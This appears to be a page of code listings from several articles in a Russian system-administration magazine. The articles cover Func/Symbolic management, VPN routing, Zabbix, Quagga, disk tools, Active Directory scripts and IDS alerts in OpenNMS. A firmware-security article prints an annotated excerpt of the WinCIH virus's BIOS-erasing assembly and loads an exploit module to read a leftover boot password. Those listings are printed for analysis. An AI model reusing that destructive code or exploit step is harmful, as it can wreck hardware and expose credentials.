Symbolic. Система централизованного управления Linux Сергей Яремчук # rpm -Uvh http://download.fedora.redhat.com/pub/epel/5/i386/epel-release-5-3.noarch.rpm # yum install certmaster func smolt # cat /etc/certmaster/certmaster.conf [main] # Если установить в yes, клиенты будут подтверждаться автоматически autosign = no # Позволяет ограничить работу демона одним IP-адресом, по умолчанию все listen_addr = listen_port = 51235 192.168.17.209 certmaster.example.org # chkconfig --level 345 certmaster on # service certmaster start # chkconfig --level 345 funcd on # service funcd start # certmaster-ca --list # certmaster-request # certmaster-ca --sign certmaster.example.org # nano /etc/certmaster/minion.conf certmaster = certmaster.example.org # wget -c http://downloads.sourceforge.net/project/symbolic/symbolic/1.5.0/symbolic-1.5.0-1.el5.noarch.rpm # yum --nogpgcheck localinstall symbolic-1.5.0-1.el5.noarch.rpm JAVA_HOME="/etc/alternatives/java_sdk" JAVA_HOME="/usr/lib/jvm/java-1.6.0-openjdk-1.6.0.0" # mkdir /var/lib/certmaster/peers # symbolic-setup # ls -al /var/lib/certmaster/peers # chkconfig symbolic on # service symbolic start # netstat -ant | grep 8081 # grep -i 8081 /etc/symbolic/conf/server.xml #DatabaseBackup databaseBackup.folder = /etc/symbolic/backup databaseBackup.max = 10 databaseBackup.cronExpression = 0 0 0 * * ? # func "*" ping # func "*" list_minions # func "*.example.org" call yumcmd update # func "*.example.org" call system list_modules # func example.org call hardware info # func "*" call command run "ifconfig" ----------------------------------------------------------------------------------------------------------------- Virtual Private Network. Построение географически распределенных сетей Константин Кондаков 192.168.10.0/24+192.168.5.0/24 69.36.36.36 ------------ 68.14.14.14 <:ext int:> 10.22.1.0/24 # ip route add to 10.22.1.0/24 dev eth1 С:\> route add 10.22.1.0 mask 255.255.255.0 192.168.10.1 metric 1 С:\> route -p add 10.22.1.0 mask 255.255.255.0 192.168.10.1 metric 1 ip route 10.13.1.0 255.255.255.0 192.168.5.11 ip route 10.20.1.0 255.255.255.0 192.168.5.11 ip route 10.21.1.0 255.255.255.0 192.168.5.11 ip route 10.22.1.0 255.255.255.0 192.168.5.11 ip route 10.31.1.0 255.255.255.0 192.168.5.11 ----------------------------------------------------------------------------------------------------------------- Знакомьтесь, Zabbix! Обзор системы и ее установка на ОС Linux. Часть 1 Юрий Денисов shell> gunzip zabbix-1.8.2.tar.gz && tar -xvf zabbix-1.8.2.tar shell> adduser zabbix shell> mysql -u -p mysql> create database zabbix character set utf8; mysql> quit; shell> cat create/schema/mysql.sql | mysql -u -p zabbix shell> cat create/schema/data.sql | mysql -u -p zabbix shell> cat create/schema/images_mysql.sql | mysql -u -p zabbix shell> ./configure --enable-server --enable-agent --with-mysql --with-net-snmp --with-jabber –with-libcurl --with-prefix=/usr/local/zabbix --enable-agent --with-net-snmp --enable-static shell> make install shell> cd sbin shell> ./zabbix_server shell> ./zabbix_agentd zabbix_agentd.exe --config <путь к файлу конфигурации> --install zabbix_agentd.exe --start ----------------------------------------------------------------------------------------------------------------- Маршрутизация с Quagga Сергей Яремчук deb http://bird.network.cz/debian/ karmic main $ sudo apt-get install quagga quagga-doc $ sudo nano /etc/quagga/daemons zebra=yes bgpd=yes ospfd=yes # Протокол OSPF IPv6 ospf6d=no ripd=no # Протокол RIPng IPv6 ripngd=no isisd=no $ grep zebra /etc/services $ sudo cp –v /usr/share/doc/quagga/examples/zebra.conf.sample /etc/quagga/zebra.conf $ sudo cp –v /usr/share/doc/quagga/examples/bgpd.conf.sample /etc/quagga/bgpd.conf $ sudo cp –v /usr/share/doc/quagga/examples/ospfd.conf.sample /etc/quagga/ospfd.conf $ sudo cp –v /usr/share/doc/quagga/examples/vtysh.conf.sample /etc/quagga/vtysh.conf vtysh_enable=yes zebra_options=" --daemon -A 127.0.0.1 -u quagga --keep_kernel --retain" bgpd_options=" --daemon -A 127.0.0.1 -u quagga --retain" ospfd_options=" --daemon -A 127.0.0.1 -u quagga" $ grep quagga /etc/passwd $ sudo chown quagga:quagga /etc/quagga/zebra.conf $ sudo chown quagga:quagga /etc/quagga/ospfd.conf $ sudo chown quagga:quagga /etc/quagga/bgpd.conf $ sudo /etc/init.d/quagga restart ps aux | grep quagga netstat –ant | grep 260 $ sudo nano /etc/quagga/zebra.conf ! Название шлюза hostname Router-01 ! Пароль для vty, если пуст, подключиться нельзя password zebra ! Пароль для режима администрирования/настроек enable password z3bRa ! В принципе, двух предыдущих записей достаточно описание интерфейсов interface lo interface eth0 ! Кстановка флага многоадресной рассылки и значение ширины канала в Кб/сек для расчета стоимости multicast bandwidth 10000000 ! interface ppp0 ! Статический маршрут ip route 10.0.0.0/0 eth0 ! ip route 0.0.0.0/0 1.2.3.4 ! Файл журнала log file /var/log/quagga/zebra.log $ sudo nano /etc/quagga/ospfd.conf ! Включаем router ospf ! Устанавливаем ID, в качестве которого используется IP-адрес: ospf router-id 192.168.1.1 ! Определяем интерфейсы для OSPF: network 192.168.1.0/24 area 0 ! network 172.17.0.0/16 area 1 log file /var/log/quagga/ospfd.log $ sudo vtysh # configure terminal (config)# no router bgp 7675 (config)# router bgp 64512 (config-router)# bgp router-id 192.168.1.1 (config-router)# network 192.168.1.0/24 (config-router)# network 172.10.1.0/24 (config-router)# neighbor 10.0.0.5 remote-as 64513 (config-router)# neighbor 172.16.103.1 remote-as 65535 (config-router)# log file /var/log/bgp.log (config-router)# end # write file # show ip route # show ip bgp # show ip ospf database # show interface # show running-config # show memory ----------------------------------------------------------------------------------------------------------------- Гибкие возможности. Работа с HDD и файловыми системами из консоли. Часть 2 Игорь Штомпель sudo apt-get install testdisk sudo testdisk sudo fdisk /dev/sdb fsck.ext3 -b 32768 -B 4096 /dev/sdb1 sudo photorec sudo mmls /dev/sda sudo fsstat /dev/sda1 > 01 && sudo fsstat /dev/sda2 > 02 sudo fls -f ext /dev/sda1 sudo ffind /dev/sda1 20611073 sudo ffind -a /dev/sda1 20611073 sudo fls -rd /dev/sda1 sudo fls -D /dev/sda1 di -A di -a di -l di -lg di -gf buf di -gf Bcv di -f I /dev/sda1 sudo disktype sudo apt-get install gt5 gt5 gt5 /etc du -s /home > 01 du -s /home > 02 gt5 02 01 gt5 01 02 sudo apt-get install hddtemp sudo hddtemp /dev/sda sudo hddtemp -n /dev/sda sudo hddtemp -d -p 7635 /dev/sda ----------------------------------------------------------------------------------------------------------------- Управление защитой от случайного удаления объектов в Windows Server 2008 R2 Иван Коробко Листинг 1. Включение защиты от случайного перемещения объекта # Создание описателя для объекта EveryOne $objUser = New-Object Security.Principal.NTAccount("EveryOne") # Получение SID объекта по его имени $strSID = $objUser.Translate([Security.Principal.SecurityIdentifier]) # Определение имени домена $domain = ([ADSI]"LDAP://RootDSE").defaultNaminContext # Получение доступа к объекту Active Directory $objADSI = [ADSI]"LDAP://OU=Test,$domain" # Создание объекта, содержащего новые настройки безопасности для объекта EveryOne $Deny = New-Object DirectoryServices.ActiveDirectoryAccessRule($strsid, 65602, 1) # Изменение параметров безопасности объекта # Active Directory для EveryOne $objADSI.psbase.ObjectSecurity.SetAccessRule($Deny) # Запись сделанных изменений в каталог Active Directory $objADSI.CommitChanges() Листинг 2. Включение защиты от случайного перемещения для объектов в указанном контейнере # Создание описателя для объекта EveryOne $objUser = New-Object Security.PrincipalNTAccount("EveryOne") # Получение SID объекта по его имени $strSID = $objUser.Translate([Security.Principal.SecurityIdentifier]) # Функция для изменение прав для указанного объекта function Change-Secutity { $args |%{ # Создание объекта, содержащего новые настройки безопасности для объекта EveryOne $Deny = New-Object DirectoryServices.ActiveDirectoryAccessRule ($strsid, 65602, 1) #$Deny = New-Object DirectoryServices.ActiveDirectoryAccessRule ($strsid, 2, 1) # Изменение параметров безопасности объекта Active Directory для EveryOne $_.psbase.ObjectSecurity.SetAccessRule($Deny) # Запись сделанных изменений в каталог Active Directory $_.CommitChanges() } } # Назначение пути к объекту-родителю $rootOU=read-host -Prompt "Enter OU's Path:" # Создание объекта для поиска в каталоге Active Directory $objSearch = New-Object System.DirectoryServices.DirectorySearcher # Определение области поиска $objSearch.SearchRoot = "LDAP://$rootOU" # Определение критериев поиска $objSearch.Filter = "(&(objectClass=*))" # Поиск объектов $result = $objSearch.FindAll() # Обработка полученных результатов. Запуск функции Change-Secutity $result | %{ Change-Secutity ([ADSI]$_.path)} Write-Host "Права изменены". ----------------------------------------------------------------------------------------------------------------- Интеграция Cisco IDS/IPS и IBM ISS SiteProtector с OpenNMS Андрей Дугин sensor1(config)# service notification sensor1(config-not)# enable-notifications true sensor1(config-not)# enable-detail-traps true sensor1(config-not)# trap-destinations 10.1.2.3 sensor1(config)# service signature-definition sig0 sensor1(config-sig)# signatures 16293 1 sensor1(config-sig-sig)# engine string-tcp sensor1(config-sig-sig-str)# event-action produce-alert|request-snmp-trap High severity events - Infected PC CISCO-CIDS-MIB defined trap event: ciscoCidsAlert, High severity

Event indicating that some suspicious or malicious activity has been detected on a monitored network.

Severity %parm[.1.3.6.1.4.1.9.9.383.1.2.1]%;

SigName %parm[.1.3.6.1.4.1.9.9.383.1.2.4]%;

SigId %parm[.1.3.6.1.4.1.9.9.383.1.2.5]%;

SubSigId %parm[.1.3.6.1.4.1.9.9.383.1.2.6]%;

AttackerAddress %parm[.1.3.6.1.4.1.9.9.383.1.2.16]%;

VictimAddress %parm[.1.3.6.1.4.1.9.9.383.1.2.17]%;

SigName=%parm[.1.3.6.1.4.1.9.9.383.1.2.4]% SigId=%parm[.1.3.6.1.4.1.9.9.383.1.2.5]% SubSigId=%parm[.1.3.6.1.4.1.9.9.383.1.2.6]% AttackerAddress=%parm[.1.3.6.1.4.1.9.9.383.1.2.16]% VictimAddress=%parm[.1.3.6.1.4.1.9.9.383.1.2.17]%

Events received from ISS sensors ISS-MIB defined trap event: highpriorityevent

This trap is sent from a RealSecure engine whenever a high priority event is encountered that the RealSecure engine is configured to send traps for. The details of the event are contained in the trap.

EventTime %parm[.1.3.6.1.4.1.2499.1.1.2.1.1.1.1.2]%;

SourceIpAddress %parm[.1.3.6.1.4.1.2499.1.1.2.1.1.1.1.4]%;

DestinationIpAddress %parm[.1.3.6.1.4.1.2499.1.1.2.1.1.1.1.5]%;

DestinationPort %parm[.1.3.6.1.4.1.2499.1.1.2.1.1.1.1.8]%;

EventSpecificInfo

----------------------------------------------------------------------------------------------------------------- Исходный код микропрограмм. Обеспечиваем безопасность Антон Борисов Листинг 1. Примерный деструктивный код вируса WinCIH ; *************************** ; * Kill BIOS EEPROM * ; *************************** ; Стадия 1. WinCIH открывает Shadow-память 1) mov edi, 8000384ch 2) mov dx, 0cfeh 3) cli 4) call esi 5) mov di, 0058h 6) dec edx ; and al,0fh 7) mov word ptr (BooleanCalculateCode-@10)[esi], 0f24h 8) call esi ; Стадия 2. Чипсету разрешается запись в чип FlashBIOS-памяти 9) lea ebx, EnableEEPROMToWrite-@10[esi] 10) mov eax, 0e5555h 11) mov ecx, 0e2aaah 12) call ebx 13) mov byte ptr [eax], 60h 14) push ecx 15) loop $ ; Стадия 3. Записывается «мусор» в память flash-чипа 16) xor ah, ah 17) mov [eax], al 18) xchg ecx, eax 19) loop $ 20) mov eax, 0f5555h 21) pop ecx 22) mov ch, 0aah 23) call ebx 24) mov byte ptr [eax], 20h 25) loop $ 26) mov ah, 0e0h 27) mov [eax], al ; Стадия 4. ShadowRAM закрывается 28) or al,10h 29) mov word ptr (BooleanCalculateCode-@10)[esi], 100ch 30) call esi ; Стадия 5. Заполняется IOR-структура для выполнения VxD-запроса «IOS_SendCommand» [4, 5] ; и выполняется функция KillHardDisk Листинг 2. Пример ошибки в обработке кода таблицы разделов xor bx, bx ; обнуляем регистр BX mov es, bx mov bx, 7C00h ; буфер по адресу ES:BX указывает на 0000:7C00h mov cx, 1 ; выставляем значения для сектора и цилиндра xor dh, dh ; и значение для головки, чтобы прочитать сектор N1, с цилиндра 0, головки 0 mov dl, 80h ; устанавливаем первый жесткий диск mov ax, 0201h ; устанавливаем для чтения первый сектор int 13h ; вызываем для чтения MBR функцию BIOS add bx, 446 ; регистры ES:BX указывают на начало таблицы разделов в MBR (BX = 7DBEh) NextSlot: cmp es:[bx], 80h ; данный раздел с флагом «загружаемый»? je ActiveOk ; да, выходим из цикла add bx, 16 ; увеличиваем адрес на длину записи о разделе (регистр BX становится равным 7C00h+446+16) cmp bx, 510 ; конец таблицы разделов достигнут? Ошибка! Правильный код должен быть cmp bx, ( 7C00h + 510 ) jb NextSlot ; нет, просмотреть запись о следующем разделе — этот переход по факту никогда не обрабатывается! stc ; выставить статус - «активный раздел не найден» ret ActiveOk: clc ; выставить статус – «активный раздел найден» ret $ wget http://www.acpica.org/download/acpica-unix-20090521.tar.gz $ tar xzvf acpica-unix-20090521.tar.gz && cd acpica-unix-20090521/compiler && make Листинг 3. Процесс перевода кода ACPI из бинарного в «человеческий» # cp /proc/acpi/dsdt > ~/my_acpi.tbl $ iasl -d my_acpi.tbl If (MCTH (_OS, "Linux")) { Store (0x03, OSVR) } If (_OSI ("Windows 2006")) { Store (Zero, OSVR) } Листинг 4. Обратное преобразование таблицы ACPI $ iasl -tc my_acpi.dsl Листинг 5. Проверка памяти на оставленный в буфере пароль # /sbin/insmod ./exploit.ko # dmesg # cat /proc/prebootpassword ----------------------------------------------------------------------------------------------------------------- Конфиденциальность гарантируется. Сценарии создания, импорта и экспорта PGP-ключей Владимир Медведев gpg --gen-key gpg –output отзывающий-сертификат.asc --gen-revoke $KEYID gpg --import отзывающий-сертификат.asc gpg --send-keys $KEYID gpg --edit-key $KEYID gpg --desig-revoke $KEYID # Комментарий comment work phone +1 111 111-11-11, fax: +1 111 111-00-00 # ID ключа по умолчанию default-key 0xA52F8E8046F8F881 # Имя или адрес узла сервера ключей по умолчанию keyserver hkp://keys.gnupg.net gpg --list-keys gpg --output экспортируемый-ключ.asc --export --armor $KEYID gpg --send-key $KEYID --keyserver keys.domain.local gpg --import импортируемый-ключ.asc gpg --recv-key $KEYID --keyserver keys.domain.local gpg --sign-key $KEYID -----------------------------------------------------------------------------------------------------------------